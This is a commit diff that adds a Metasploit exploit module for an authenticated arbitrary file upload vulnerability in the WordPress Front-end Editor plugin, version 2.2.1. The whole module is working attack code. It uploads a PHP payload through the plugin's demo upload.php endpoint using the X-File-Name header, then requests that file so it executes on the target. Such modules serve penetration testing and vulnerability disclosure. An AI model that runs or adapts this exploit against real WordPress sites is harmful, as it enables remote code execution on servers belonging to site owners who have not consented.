Land rapid7#5252, @espreto's module for WordPress Front-end Editor File Upload Vuln

Author: jvazquez-r7

modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb

@@ -0,0 +1,79 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => 'Wordpress Front-end Editor File Upload',
+      'Description'    => %q{
+          The Wordpress Front-end Editor plugin contains an authenticated file upload
+          vulnerability. We can upload arbitrary files to the upload folder, because
+          the plugin also uses it's own file upload mechanism instead of the wordpress
+          api it's possible to upload any file type.
+      },
+      'Author'         =>
+        [
+          'Sammy', # Vulnerability discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'     # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['OSVDB', '83637'],
+          ['WPVDB', '7569'],
+          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html']
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['Front-End Editor 2.2.1', {}]],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jul 04 2012'))
+  end
+
+  def check
+    check_plugin_version_from_readme('front-end-editor', '2.3')
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to upload payload")
+    filename = "#{rand_text_alpha_lower(5)}.php"
+
+    print_status("#{peer} - Uploading payload")
+    res = send_request_cgi(
+      'method'   => 'POST',
+      'uri'      => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'),
+      'ctype'    => 'application/octet-stream',
+      'headers'  => {
+        'X-File-Name' => "#{filename}"
+      },
+      'data' => payload.encoded
+    )
+
+    if res
+      if res.code == 200
+        register_files_for_cleanup(filename)
+      else
+        fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
+      end
+    else
+      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
+    end
+
+    print_status("#{peer} - Calling uploaded file #{filename}")
+    send_request_cgi(
+      { 'uri'    => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") },
+      5
+    )
+  end
+end